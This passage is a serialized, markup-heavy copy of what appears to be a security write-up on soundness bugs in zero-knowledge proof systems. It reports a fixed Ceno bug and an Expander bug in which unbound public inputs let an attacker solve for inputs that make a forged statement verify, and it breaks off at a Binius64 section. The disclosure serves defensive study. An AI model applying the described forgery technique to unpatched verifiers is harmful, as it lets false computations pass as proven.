bilinear:",{"type":23,"tag":4890,"props":120141,"children":120142},{},[120143,120470],{"type":23,"tag":4894,"props":120144,"children":120145},{},[120146,120148],{"type":28,"value":120147},"Linear (from GKR): ",{"type":23,"tag":92,"props":120149,"children":120151},{"className":120150},[1183,1184],[120152],{"type":23,"tag":134,"props":120153,"children":120155},{"className":120154},[1189],[120156],{"type":23,"tag":134,"props":120157,"children":120159},{"className":120158,"ariaHidden":1195},[1194],[120160,120296,120431,120457],{"type":23,"tag":134,"props":120161,"children":120163},{"className":120162},[1200],[120164,120169,120226,120283,120287,120292],{"type":23,"tag":134,"props":120165,"children":120168},{"className":120166,"style":120167},[1205],"height:0.7333em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":120170,"children":120172},{"className":120171},[1211],[120173,120178],{"type":23,"tag":134,"props":120174,"children":120176},{"className":120175},[1211,21066],[120177],{"type":28,"value":31},{"type":23,"tag":134,"props":120179,"children":120181},{"className":120180},[1228],[120182],{"type":23,"tag":134,"props":120183,"children":120185},{"className":120184},[1233,21120],[120186,120215],{"type":23,"tag":134,"props":120187,"children":120189},{"className":120188},[1238],[120190,120210],{"type":23,"tag":134,"props":120191,"children":120193},{"className":120192,"style":92611},[1243],[120194],{"type":23,"tag":134,"props":120195,"children":120196},{"style":92615},[120197,120201],{"type":23,"tag":134,"props":120198,"children":120200},{"className":120199,"style":1253},[1252],[],{"type":23,"tag":134,"props":120202,"children":120204},{"className":120203},[1258,1259,1260,1261],[120205],{"type":23,"tag":134,"props":120206,"children":120208},{"className":120207},[1211,1261],[120209],{"type":28,"value":1224},{"type":23,"tag":134,"props":120211,"children":120213},{"className":120212},[21223],[120214],{"type":28,"value":21226},{"type":23,"tag":134,"props":120216,"children":120218},{"className":120217},[1238],[120219],{"type":23,"tag":134,"props":120220,"children":120222},{"className":120221,"style":92642},[1243],[120223],{"type":23,"tag":134,"props":120224,"children":120225},{},[],{"type":23,"tag":134,"props":120227,"children":120229},{"className":120228},[1211],[120230,120235],{"type":23,"tag":134,"props":120231,"children":120233},{"className":120232},[1211,21066],[120234],{"type":28,"value":18752},{"type":23,"tag":134,"props":120236,"children":120238},{"className":120237},[1228],[120239],{"type":23,"tag":134,"props":120240,"children":120242},{"className":120241},[1233,21120],[120243,120272],{"type":23,"tag":134,"props":120244,"children":120246},{"className":120245},[1238],[120247,120267],{"type":23,"tag":134,"props":120248,"children":120250},{"className":120249,"style":92611},[1243],[120251],{"type":23,"tag":134,"props":120252,"children":120253},{"style":92615},[120254,120258],{"type":23,"tag":134,"props":120255,"children":120257},{"className":120256,"style":1253},[1252],[],{"type":23,"tag":134,"props":120259,"children":120261},{"className":120260},[1258,1259,1260,1261],[120262],{"type":23,"tag":134,"props":120263,"children":120265},{"className":120264},[1211,1261],[120266],{"type":28,"value":1224},{"type":23,"tag":134,"props":120268,"children":120270},{"className":120269},[21223],[120271],{"type":28,"value":21226},{"type":23,"tag":134,"props":120273,"children":120275},{"className":120274},[1238],[120276],{"type":23,"tag":134,"props":120277,"children":120279},{"className":120278,"style":92642},[1243],[120280],{"type":23,"tag":134,"props":120281,"children":120282},{},[],{"type":23,"tag":134,"props":120284,"children":120286},{"className":120285,"style":1293},[1292],[],{"type":23,"tag":134,"props":120288,"children":120290},{"className":120289},[1298],[120291],{"type":28,"value":1586},{"type":23,"tag":134,"props":120293,"children":120295},{"className":120294,"style":1293},[1292],[],{"type":23,"tag":134,"props":120297,"children":120299},{"className":120298},[1200],[120300,120304,120361,120418,120422,120427],{"type":23,"tag":134,"props":120301,"children":120303},{"className":120302,"style":120167},[1205],[],{"type":23,"tag":134,"props":120305,"children":120307},{"className":120306},[1211],[120308,120313],{"type":23,"tag":134,"props":120309,"children":120311},{"className":120310},[1211,21066],[120312],{"type":28,"value":31},{"type":23,"tag":134,"props":120314,"children":120316},{"className":120315},[1228],[120317],{"type":23,"tag":134,"props":120318,"children":120320},{"className":120319},[1233,21120],[120321,120350],{"type":23,"tag":134,"props":120322,"children":120324},{"className":120323},[1238],[120325,120345],{"type":23,"tag":134,"props":120326,"children":120328},{"className":120327,"style":92611},[1243],[120329],{"type":23,"tag":134,"props":120330,"children":120331},{"style":92615},[120332,120336],{"type":23,"tag":134,"props":120333,"children":120335},{"className":120334,"style":1253},[1252],[],{"type":23,"tag":134,"props":120337,"children":120339},{"className":120338},[1258,1259,1260,1261],[120340],{"type":23,"tag":134,"props":120341,"children":120343},{"className":120342},[1211,1261],[120344],{"type":28,"value":1214},{"type":23,"tag":134,"props":120346,"children":120348},{"className":120347},[21223],[120349],{"type":28,"value":21226},{"type":23,"tag":134,"props":120351,"children":120353},{"className":120352},[1238],[120354],{"type":23,"tag":134,"props":120355,"children":120357},{"className":120356,"style":92642},[1243],[120358],{"type":23,"tag":134,"props":120359,"children":120360},{},[],{"type":23,"tag":134,"props":120362,"children":120364},{"className":120363},[1211],[120365,120370],{"type":23,"tag":134,"props":120366,"children":120368},{"className":120367},[1211,21066],[120369],{"type":28,"value":18752},{"type":23,"tag":134,"props":120371,"children":120373},{"className":120372},[1228],[120374],{"type":23,"tag":134,"props":120375,"children":120377},{"className":120376},[1233,21120],[120378,120407],{"type":23,"tag":134,"props":120379,"children":120381},{"className":120380},[1238],[120382,120402],{"type":23,"tag":134,"props":120383,"children":120385},{"className":120384,"style":92611},[1243],[120386],{"type":23,"tag":134,"props":120387,"children":120388},{"style":92615},[120389,120393],{"type":23,"tag":134,"props":120390,"children":120392},{"className":120391,"style":1253},[1252],[],{"type":23,"tag":134,"props":120394,"children":120396},{"className":120395},[1258,1259,1260,1261],[120397],{"type":23,"tag":134,"props":120398,"children":120400},{"className":120399},[1211,1261],[120401],{"type":28,"value":1214},{"type":23,"tag":134,"props":120403,"children":120405},{"className":120404},[21223],[120406],{"type":28,"value":21226},{"type":23,"tag":134,"props":120408,"children":120410},{"className":120409},[1238],[120411],{"type":23,"tag":134,"props":120412,"children":120414},{"className":120413,"style":92642},[1243],[120415],{"type":23,"tag":134,"props":120416,"children":120417},{},[],{"type":23,"tag":134,"props":120419,"children":120421},{"className":120420,"style":1293},[1292],[],{"type":23,"tag":134,"props":120423,"children":120425},{"className":120424},[1298],[120426],{"type":28,"value":1586},{"type":23,"tag":134,"props":120428,"children":120430},{"className":120429,"style":1293},[1292],[],{"type":23,"tag":134,"props":120432,"children":120434},{"className":120433},[1200],[120435,120439,120444,120448,120453],{"type":23,"tag":134,"props":120436,"children":120438},{"className":120437,"style":110400},[1205],[],{"type":23,"tag":134,"props":120440,"children":120442},{"className":120441},[1211,21066],[120443],{"type":28,"value":315},{"type":23,"tag":134,"props":120445,"children":120447},{"className":120446,"style":1390},[1292],[],{"type":23,"tag":134,"props":120449,"children":120451},{"className":120450},[1395],[120452],{"type":28,"value":257},{"type":23,"tag":134,"props":120454,"children":120456},{"className":120455,"style":1390},[1292],[],{"type":23,"tag":134,"props":120458,"children":120460},{"className":120459},[1200],[120461,120465],{"type":23,"tag":134,"props":120462,"children":120464},{"className":120463,"style":93590},[1205],[],{"type":23,"tag":134,"props":120466,"children":120468},{"className":120467},[1211],[120469],{"type":28,"value":1224},{"type":23,"tag":4894,"props":120471,"children":120472},{},[120473,120475],{"type":28,"value":120474},"Bilinear (from multiset): ",{"type":23,"tag":92,"props":120476,"children":120478},{"className":120477},[1183,1184],[120479],{"type":23,"tag":134,"props":120480,"children":120482},{"className":120481},[1189],[120483],{"type":23,"tag":134,"props":120484,"children":120486},{"className":120485,"ariaHidden":1195},[1194],[120487,120513,120591,120669,120695],{"type":23,"tag":134,"props":120488,"children":120490},{"className":120489},[1200],[120491,120495,120500,120504,120509],{"type":23,"tag":134,"props":120492,"children":120494},{"className":120493,"style":92474},[1205],[],{"type":23,"tag":134,"props":120496,"children":120498},{"className":120497,"style":93988},[1211,21066],[120499],{"type":28,"value":88196},{"type":23,"tag":134,"props":120501,"children":120503},{"className":120502,"style":1293},[1292],[],{"type":23,"tag":134,"props":120505,"children":120507},{"className":120506},[1298],[120508],{"type":28,"value":110821},{"type":23,"tag":134,"props":120510,"children":120512},{"className":120511,"style":1293},[1292],[],{"type":23,"tag":134,"props":120514,"children":120516},{"className":120515},[1200],[120517,120521,120578,120582,120587],{"type":23,"tag":134,"props":120518,"children":120520},{"className":120519,"style":119613},[1205],[],{"type":23,"tag":134,"props":120522,"children":120524},{"className":120523},[1211],[120525,120530],{"type":23,"tag":134,"props":120526,"children":120528},{"className":120527},[1211,21066],[120529],{"type":28,"value":18752},{"type":23,"tag":134,"props":120531,"children":120533},{"className":120532},[1228],[120534],{"type":23,"tag":134,"props":120535,"children":120537},{"className":120536},[1233,21120],[120538,120567],{"type":23,"tag":134,"props":120539,"children":120541},{"className":120540},[1238],[120542,120562],{"type":23,"tag":134,"props":120543,"children":120545},{"className":120544,"style":92611},[1243],[120546],{"type":23,"tag":134,"props":120547,"children":120548},{"style":92615},[120549,120553],{"type":23,"tag":134,"props":120550,"children":120552},{"className":120551,"style":1253},[1252],[],{"type":23,"tag":134,"props":120554,"children":120556},{"className":120555},[1258,1259,1260,1261],[120557],{"type":23,"tag":134,"props":120558,"children":120560},{"className":120559},[1211,1261],[120561],{"type":28,"value":1224},{"type":23,"tag":134,"props":120563,"children":120565},{"className":120564},[21223],[120566],{"type":28,"value":21226},{"type":23,"tag":134,"props":120568,"children":120570},{"className":120569},[1238],[120571],{"type":23,"tag":134,"props":120572,"children":120574},{"className":120573,"style":92642},[1243],[120575],{"type":23,"tag":134,"props":120576,"children":120577},{},[],{"type":23,"tag":134,"props":120579,"children":120581},{"className":120580,"style":1293},[1292],[],{"type":23,"tag":134,"props":120583,"children":120585},{"className":120584},[1298],[120586],{"type":28,"value":110821},{"type":23,"tag":134,"props":120588,"children":120590},{"className":120589,"style":1293},[1292],[],{"type":23,"tag":134,"props":120592,"children":120594},{"className":120593},[1200],[120595,120599,120656,120660,120665],{"type":23,"tag":134,"props":120596,"children":120598},{"className":120597,"style":120167},[1205],[],{"type":23,"tag":134,"props":120600,"children":120602},{"className":120601},[1211],[120603,120608],{"type":23,"tag":134,"props":120604,"children":120606},{"className":120605},[1211,21066],[120607],{"type":28,"value":18752},{"type":23,"tag":134,"props":120609,"children":120611},{"className":120610},[1228],[120612],{"type":23,"tag":134,"props":120613,"children":120615},{"className":120614},[1233,21120],[120616,120645],{"type":23,"tag":134,"props":120617,"children":120619},{"className":120618},[1238],[120620,120640],{"type":23,"tag":134,"props":120621,"children":120623},{"className":120622,"style":92611},[1243],[120624],{"type":23,"tag":134,"props":120625,"children":120626},{"style":92615},[120627,120631],{"type":23,"tag":134,"props":120628,"children":120630},{"className":120629,"style":1253},[1252],[],{"type":23,"tag":134,"props":120632,"children":120634},{"className":120633},[1258,1259,1260,1261],[120635],{"type":23,"tag":134,"props":120636,"children":120638},{"className":120637},[1211,1261],[120639],{"type":28,"value":1214},{"type":23,"tag":134,"props":120641,"children":120643},{"className":120642},[21223],[120644],{"type":28,"value":21226},{"type":23,"tag":134,"props":120646,"children":120648},{"className":120647},[1238],[120649],{"type":23,"tag":134,"props":120650,"children":120652},{"className":120651,"style":92642},[1243],[120653],{"type":23,"tag":134,"props":120654,"children":120655},{},[],{"type":23,"tag":134,"props":120657,"children":120659},{"className":120658,"style":1293},[1292],[],{"type":23,"tag":134,"props":120661,"children":120663},{"className":120662},[1298],[120664],{"type":28,"value":1586},{"type":23,"tag":134,"props":120666,"children":120668},{"className":120667,"style":1293},[1292],[],{"type":23,"tag":134,"props":120670,"children":120672},{"className":120671},[1200],[120673,120677,120682,120686,120691],{"type":23,"tag":134,"props":120674,"children":120676},{"className":120675,"style":92474},[1205],[],{"type":23,"tag":134,"props":120678,"children":120680},{"className":120679},[1211,21066],[120681],{"type":28,"value":70074},{"type":23,"tag":134,"props":120683,"children":120685},{"className":120684,"style":1390},[1292],[],{"type":23,"tag":134,"props":120687,"children":120689},{"className":120688},[1395],[120690],{"type":28,"value":257},{"type":23,"tag":134,"props":120692,"children":120694},{"className":120693,"style":1390},[1292],[],{"type":23,"tag":134,"props":120696,"children":120698},{"className":120697},[1200],[120699,120703],{"type":23,"tag":134,"props":120700,"children":120702},{"className":120701,"style":93590},[1205],[],{"type":23,"tag":134,"props":120704,"children":120706},{"className":120705},[1211],[120707],{"type":28,"value":1224},{"type":23,"tag":24,"props":120709,"children":120710},{},[120711],{"type":28,"value":120712},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":23,"tag":24,"props":120714,"children":120715},{},[120716,120720,120722,120729,120731,120738],{"type":23,"tag":2532,"props":120717,"children":120718},{},[120719],{"type":28,"value":116269},{"type":28,"value":120721}," Fixed on March 5, 2026 via ",{"type":23,"tag":31,"props":120723,"children":120726},{"href":120724,"rel":120725},"https://github.com/scroll-tech/ceno/pull/1262",[35],[120727],{"type":28,"value":120728},"PR #1262",{"type":28,"value":120730}," (original report: ",{"type":23,"tag":31,"props":120732,"children":120735},{"href":120733,"rel":120734},"https://github.com/scroll-tech/ceno/issues/1125",[35],[120736],{"type":28,"value":120737},"#1125",{"type":28,"value":296},{"type":23,"tag":18268,"props":120740,"children":120741},{},[],{"type":23,"tag":9072,"props":120743,"children":120745},{"id":120744},"expander-polyhedra",[120746],{"type":28,"value":120747},"Expander (Polyhedra)",{"type":23,"tag":24,"props":120749,"children":120750},{},[120751],{"type":28,"value":120752},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":23,"tag":24,"props":120754,"children":120755},{},[120756],{"type":23,"tag":2532,"props":120757,"children":120758},{},[120759],{"type":28,"value":114975},{"type":23,"tag":87,"props":120761,"children":120763},{"code":120762},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[120764],{"type":23,"tag":92,"props":120765,"children":120766},{"__ignoreMap":7},[120767],{"type":28,"value":120762},{"type":23,"tag":24,"props":120769,"children":120770},{},[120771,120773,120779],{"type":28,"value":120772},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":23,"tag":92,"props":120774,"children":120776},{"className":120775},[],[120777],{"type":28,"value":120778},"eval_cst",{"type":28,"value":120780}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":23,"tag":87,"props":120782,"children":120784},{"code":120783,"language":127,"meta":7,"className":128,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[120785],{"type":23,"tag":92,"props":120786,"children":120787},{"__ignoreMap":7},[120788],{"type":23,"tag":134,"props":120789,"children":120790},{"class":136,"line":137},[120791,120795,120800,120805,120809,120813,120817,120821,120826,120830,120835,120840,120844,120849],{"type":23,"tag":134,"props":120792,"children":120793},{"style":162},[120794],{"type":28,"value":76144},{"type":23,"tag":134,"props":120796,"children":120797},{"style":168},[120798],{"type":28,"value":120799}," -=",{"type":23,"tag":134,"props":120801,"children":120802},{"style":597},[120803],{"type":28,"value":120804}," GKRVerifierHelper",{"type":23,"tag":134,"props":120806,"children":120807},{"style":168},[120808],{"type":28,"value":660},{"type":23,"tag":134,"props":120810,"children":120811},{"style":264},[120812],{"type":28,"value":120778},{"type":23,"tag":134,"props":120814,"children":120815},{"style":179},[120816],{"type":28,"value":272},{"type":23,"tag":134,"props":120818,"children":120819},{"style":168},[120820],{"type":28,"value":277},{"type":23,"tag":134,"props":120822,"children":120823},{"style":162},[120824],{"type":28,"value":120825},"layer",{"type":23,"tag":134,"props":120827,"children":120828},{"style":168},[120829],{"type":28,"value":720},{"type":23,"tag":134,"props":120831,"children":120832},{"style":179},[120833],{"type":28,"value":120834},"const_, ",{"type":23,"tag":134,"props":120836,"children":120837},{"style":162},[120838],{"type":28,"value":120839},"public_input",{"type":23,"tag":134,"props":120841,"children":120842},{"style":179},[120843],{"type":28,"value":242},{"type":23,"tag":134,"props":120845,"children":120846},{"style":162},[120847],{"type":28,"value":120848},"sp",{"type":23,"tag":134,"props":120850,"children":120851},{"style":179},[120852],{"type":28,"value":1021},{"type":23,"tag":24,"props":120854,"children":120855},{},[120856,120858,120863],{"type":28,"value":120857},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":23,"tag":92,"props":120859,"children":120861},{"className":120860},[],[120862],{"type":28,"value":120848},{"type":28,"value":20220},{"type":23,"tag":24,"props":120865,"children":120866},{},[120867],{"type":23,"tag":2532,"props":120868,"children":120869},{},[120870],{"type":28,"value":120871},"The vulnerability:",{"type":23,"tag":24,"props":120873,"children":120874},{},[120875,120880],{"type":23,"tag":92,"props":120876,"children":120878},{"className":120877},[],[120879],{"type":28,"value":120839},{"type":28,"value":120881}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":23,"tag":24,"props":120883,"children":120884},{},[120885],{"type":23,"tag":1116,"props":120886,"children":120889},{"alt":120887,"src":120888},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":23,"tag":24,"props":120891,"children":120892},{},[120893,120894,120899],{"type":28,"value":16084},{"type":23,"tag":92,"props":120895,"children":120897},{"className":120896},[],[120898],{"type":28,"value":120778},{"type":28,"value":120900}," function computes a linear combination:",{"type":23,"tag":24,"props":120902,"children":120903},{},[120904],{"type":23,"tag":92,"props":120905,"children":120907},{"className":120906},[1183,1184],[120908],{"type":23,"tag":134,"props":120909,"children":120911},{"className":120910},[1189],[120912],{"type":23,"tag":134,"props":120913,"children":120915},{"className":120914,"ariaHidden":1195},[1194],[120916,120961,121085],{"type":23,"tag":134,"props":120917,"children":120919},{"className":120918},[1200],[120920,120924,120933,120938,120948,120952,120957],{"type":23,"tag":134,"props":120921,"children":120923},{"className":120922,"style":93972},[1205],[],{"type":23,"tag":134,"props":120925,"children":120927},{"className":120926},[1211,28],[120928],{"type":23,"tag":134,"props":120929,"children":120931},{"className":120930},[1211],[120932],{"type":28,"value":37046},{"type":23,"tag":134,"props":120934,"children":120936},{"className":120935,"style":92559},[1211],[120937],{"type":28,"value":247},{"type":23,"tag":134,"props":120939,"children":120941},{"className":120940},[1211,28],[120942],{"type":23,"tag":134,"props":120943,"children":120945},{"className":120944},[1211],[120946],{"type":28,"value":120947},"cst",{"type":23,"tag":134,"props":120949,"children":120951},{"className":120950,"style":1390},[1292],[],{"type":23,"tag":134,"props":120953,"children":120955},{"className":120954},[1395],[120956],{"type":28,"value":257},{"type":23,"tag":134,"props":120958,"children":120960},{"className":120959,"style":1390},[1292],[],{"type":23,"tag":134,"props":120962,"children":120964},{"className":120963},[1200],[120965,120969,121026,121030,121057,121062,121067,121072,121076,121081],{"type":23,"tag":134,"props":120966,"children":120968},{"className":120967,"style":92501},[1205],[],{"type":23,"tag":134,"props":120970,"children":120972},{"className":120971},[21102],[120973,120978],{"type":23,"tag":134,"props":120974,"children":120976},{"className":120975,"style":21109},[21102,21107,21108],[120977],{"type":28,"value":108354},{"type":23,"tag":134,"props":120979,"children":120981},{"className":120980},[1228],[120982],{"type":23,"tag":134,"props":120983,"children":120985},{"className":120984},[1233,21120],[120986,121015],{"type":23,"tag":134,"props":120987,"children":120989},{"className":120988},[1238],[120990,121010],{"type":23,"tag":134,"props":120991,"children":120993},{"className":120992,"style":113766},[1243],[120994],{"type":23,"tag":134,"props":120995,"children":120996},{"style":21133},[120997,121001],{"type":23,"tag":134,"props":120998,"children":121000},{"className":120999,"style":1253},[1252],[],{"type":23,"tag":134,"props":121002,"children":121004},{"className":121003},[1258,1259,1260,1261],[121005],{"type":23,"tag":134,"props":121006,"children":121008},{"className":121007},[1211,21066,1261],[121009],{"type":28,"value":929},{"type":23,"tag":134,"props":121011,"children":121013},{"className":121012},[21223],[121014],{"type":28,"value":21226},{"type":23,"tag":134,"props":121016,"children":121018},{"className":121017},[1238],[121019],{"type":23,"tag":134,"props":121020,"children":121022},{"className":121021,"style":114046},[1243],[121023],{"type":23,"tag":134,"props":121024,"children":121025},{},[],{"type":23,"tag":134,"props":121027,"children":121029},{"className":121028,"style":1331},[1292],[],{"type":23,"tag":134,"props":121031,"children":121033},{"className":121032},[1211],[121034,121043,121048],{"type":23,"tag":134,"props":121035,"children":121037},{"className":121036},[1211,28],[121038],{"type":23,"tag":134,"props":121039,"children":121041},{"className":121040},[1211],[121042],{"type":28,"value":61183},{"type":23,"tag":134,"props":121044,"children":121046},{"className":121045,"style":92559},[1211],[121047],{"type":28,"value":247},{"type":23,"tag":134,"props":121049,"children":121051},{"className":121050},[1211,28],[121052],{"type":23,"tag":134,"props":121053,"children":121055},{"className":121054},[1211],[121056],{"type":28,"value":7826},{"type":23,"tag":134,"props":121058,"children":121060},{"className":121059},[21195],[121061],{"type":28,"value":924},{"type":23,"tag":134,"props":121063,"children":121065},{"className":121064},[1211,21066],[121066],{"type":28,"value":929},{"type":23,"tag":134,"props":121068,"children":121070},{"className":121069},[21217],[121071],{"type":28,"value":14880},{"type":23,"tag":134,"props":121073,"children":121075},{"className":121074,"style":1293},[1292],[],{"type":23,"tag":134,"props":121077,"children":121079},{"className":121078},[1298],[121080],{"type":28,"value":110821},{"type":23,"tag":134,"props":121082,"children":121084},{"className":121083,"style":1293},[1292],[],{"type":23,"tag":134,"props":121086,"children":121088},{"className":121087},[1200],[121089,121093,121102,121107,121112,121117,121121,121170],{"type":23,"tag":134,"props":121090,"children":121092},{"className":121091,"style":1313},[1205],[],{"type":23,"tag":134,"props":121094,"children":121096},{"className":121095},[1211,28],[121097],{"type":23,"tag":134,"props":121098,"children":121100},{"className":121099},[1211],[121101],{"type":28,"value":112148},{"type":23,"tag":134,"props":121103,"children":121105},{"className":121104},[21195],[121106],{"type":28,"value":272},{"type":23,"tag":134,"props":121108,"children":121110},{"className":121109},[1211,21066],[121111],{"type":28,"value":929},{"type":23,"tag":134,"props":121113,"children":121115},{"className":121114},[1324],[121116],{"type":28,"value":1327},{"type":23,"tag":134,"props":121118,"children":121120},{"className":121119,"style":1331},[1292],[],{"type":23,"tag":134,"props":121122,"children":121124},{"className":121123},[1211,111708],[121125],{"type":23,"tag":134,"props":121126,"children":121128},{"className":121127},[1233],[121129],{"type":23,"tag":134,"props":121130,"children":121132},{"className":121131},[1238],[121133],{"type":23,"tag":134,"props":121134,"children":121136},{"className":121135,"style":111794},[1243],[121137,121149],{"type":23,"tag":134,"props":121138,"children":121139},{"style":111725},[121140,121144],{"type":23,"tag":134,"props":121141,"children":121143},{"className":121142,"style":111730},[1252],[],{"type":23,"tag":134,"props":121145,"children":121147},{"className":121146,"style":92559},[1211,21066],[121148],{"type":28,"value":93378},{"type":23,"tag":134,"props":121150,"children":121151},{"style":111725},[121152,121156],{"type":23,"tag":134,"props":121153,"children":121155},{"className":121154,"style":111730},[1252],[],{"type":23,"tag":134,"props":121157,"children":121159},{"className":121158,"style":111818},[111748],[121160],{"type":23,"tag":134,"props":121161,"children":121163},{"className":121162,"style":111824},[111823],[121164],{"type":23,"tag":33770,"props":121165,"children":121166},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[121167],{"type":23,"tag":111836,"props":121168,"children":121169},{"d":111838},[],{"type":23,"tag":134,"props":121171,"children":121173},{"className":121172},[21217],[121174],{"type":28,"value":296},{"type":23,"tag":24,"props":121176,"children":121177},{},[121178,121179,121248,121250,121255,121257,121262],{"type":28,"value":115395},{"type":23,"tag":92,"props":121180,"children":121182},{"className":121181},[1183,1184],[121183],{"type":23,"tag":134,"props":121184,"children":121186},{"className":121185},[1189],[121187],{"type":23,"tag":134,"props":121188,"children":121190},{"className":121189,"ariaHidden":1195},[1194],[121191],{"type":23,"tag":134,"props":121192,"children":121194},{"className":121193},[1200],[121195,121199],{"type":23,"tag":134,"props":121196,"children":121198},{"className":121197,"style":111794},[1205],[],{"type":23,"tag":134,"props":121200,"children":121202},{"className":121201},[1211,111708],[121203],{"type":23,"tag":134,"props":121204,"children":121206},{"className":121205},[1233],[121207],{"type":23,"tag":134,"props":121208,"children":121210},{"className":121209},[1238],[121211],{"type":23,"tag":134,"props":121212,"children":121214},{"className":121213,"style":111794},[1243],[121215,121227],{"type":23,"tag":134,"props":121216,"children":121217},{"style":111725},[121218,121222],{"type":23,"tag":134,"props":121219,"children":121221},{"className":121220,"style":111730},[1252],[],{"type":23,"tag":134,"props":121223,"children":121225},{"className":121224,"style":92559},[1211,21066],[121226],{"type":28,"value":93378},{"type":23,"tag":134,"props":121228,"children":121229},{"style":111725},[121230,121234],{"type":23,"tag":134,"props":121231,"children":121233},{"className":121232,"style":111730},[1252],[],{"type":23,"tag":134,"props":121235,"children":121237},{"className":121236,"style":111818},[111748],[121238],{"type":23,"tag":134,"props":121239,"children":121241},{"className":121240,"style":111824},[111823],[121242],{"type":23,"tag":33770,"props":121243,"children":121244},{"xmlns":111828,"width":111829,"height":111830,"style":111831,"viewBox":111832,"preserveAspectRatio":111833},[121245],{"type":23,"tag":111836,"props":121246,"children":121247},{"d":111838},[],{"type":28,"value":121249}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":23,"tag":92,"props":121251,"children":121253},{"className":121252},[],[121254],{"type":28,"value":120839},{"type":28,"value":121256},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":23,"tag":92,"props":121258,"children":121260},{"className":121259},[],[121261],{"type":28,"value":120839},{"type":28,"value":121263}," that makes the verifier's check pass.",{"type":23,"tag":24,"props":121265,"children":121266},{},[121267,121271,121273,121280,121281,121284,121291],{"type":23,"tag":2532,"props":121268,"children":121269},{},[121270],{"type":28,"value":116269},{"type":28,"value":121272}," Fixed on 21st January 2026 via ",{"type":23,"tag":31,"props":121274,"children":121277},{"href":121275,"rel":121276},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[35],[121278],{"type":28,"value":121279},"commit 4a8c2be",{"type":28,"value":5915},{"type":23,"tag":30463,"props":121282,"children":121283},{},[],{"type":23,"tag":31,"props":121285,"children":121288},{"href":121286,"rel":121287},"https://blog.polyhedra.network/expander-bug-bounty/",[35],[121289],{"type":28,"value":121290},"Claimed 500k Bug bounty",{"type":28,"value":121292}," award pending",{"type":23,"tag":18268,"props":121294,"children":121295},{},[],{"type":23,"tag":9072,"props":121297,"children":121299},{"id":121298},"binius64",[121300],{"type":28,"value":107402},{"type":23,"tag":24,"props":121302,"children":121303},{},[121304,121306,121433],{"type":28,"value":121305},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":23,"tag":92,"props":121307,"children":121309},{"className":121308},[1183,1184],[121310],{"type":23,"tag":134,"props":121311,"children":121313},{"className":121312},[1189],[121314],{"type":23,"tag":134,"props":121315,"children":121317},{"className":121316,"ariaHidden":1195},[1194],[121318],{"type":23,"tag":134,"props":121319,"children":121321},{"className":121320},[1200],[121322,121327],{"type":23,"tag":134,"props":121323,"children":121326},{"className":121324,"style":121325},[1205],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":23,"tag":134,"props":121328,"children":121330},{"className":121329},[1211],[121331,121338],{"type":23,"tag":134,"props":121332,"children":121335},{"className":121333},[1211,121334],"mathbb",[121336],{"type":28,"value":121337},"F",{"type":23,"tag":134,"props":121339,"children":121341},{"className":121340},[1228],[121342],{"type":23,"tag":134,"props":121343,"children":121345},{"className":121344},[1233,21120],[121346,121421],{"type":23,"tag":134,"props":121347,"children":121349},{"className":121348},[1238],[121350,121416],{"type":23,"tag":134,"props":121351,"children":121353},{"className":121352,"style":111891},[1243],[121354],{"type":23,"tag":134,"props":121355,"children":121357},{"style":121356},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[121358,121362],{"type":23,"tag":134,"props":121359,"children":121361},{"className":121360,"style":1253},[1252],[],{"type":23,"tag":134,"props":121363,"children":121365},{"className":121364},[1258,1259,1260,1261],[121366],{"type":23,"tag":134,"props":121367,"children":121369},{"className":121368},[1211,1261],[121370],{"type":23,"tag":134,"props":121371,"children":121373},{"className":121372},[1211,1261],[121374,121379],{"type":23,"tag":134,"props":121375,"children":121377},{"className":121376},[1211,1261],[121378],{"type":28,"value":291},{"type":23,"tag":134,"props":121380,"children":121382},{"className":121381},[1228],[121383],{"type":23,"tag":134,"props":121384,"children":121386},{"className":121385},[1233],[121387],{"type":23,"tag":134,"props":121388,"children":121390},{"className":121389},[1238],[121391],{"type":23,"tag":134,"props":121392,"children":121395},{"className":121393,"style":121394},[1243],"height:0.7463em;",[121396],{"type":23,"tag":134,"props":121397,"children":121398},{"style":112016},[121399,121403],{"type":23,"tag":134,"props":121400,"children":121402},{"className":121401,"style":108419},[1252],[],{"type":23,"tag":134,"props":121404,"children":121406},{"className":121405},[1258,108424,108425,1261],[121407],{"type":23,"tag":134,"props":121408,"children":121410},{"className":121409},[1211,1261],[121411],{"type":23,"tag":134,"props":121412,"children":121414},{"className":121413},[1211,1261],[121415],{"type":28,"value":29341},{"type":23,"tag":134,"props":121417,"children":121419},{"className":121418},[21223],[121420],{"type":28,"value":21226},{"type":23,"tag":134,"props":121422,"children":121424},{"className":121423},[1238],[121425],{"type":23,"tag":134,"props":121426,"children":121429},{"className":121427,"style":121428},[1243],"height:0.1776em;",[121430],{"type":23,"tag":134,"props":121431,"children":121432},{},[],{"type":28,"value":121434}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":23,"tag":24,"props":121436,"children":121437},{},[121438,121440,121445],{"type":28,"value":121439},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":23,"tag":2532,"props":121441,"children":121442},{},[121443],{"type":28,"value":121444},"Shift 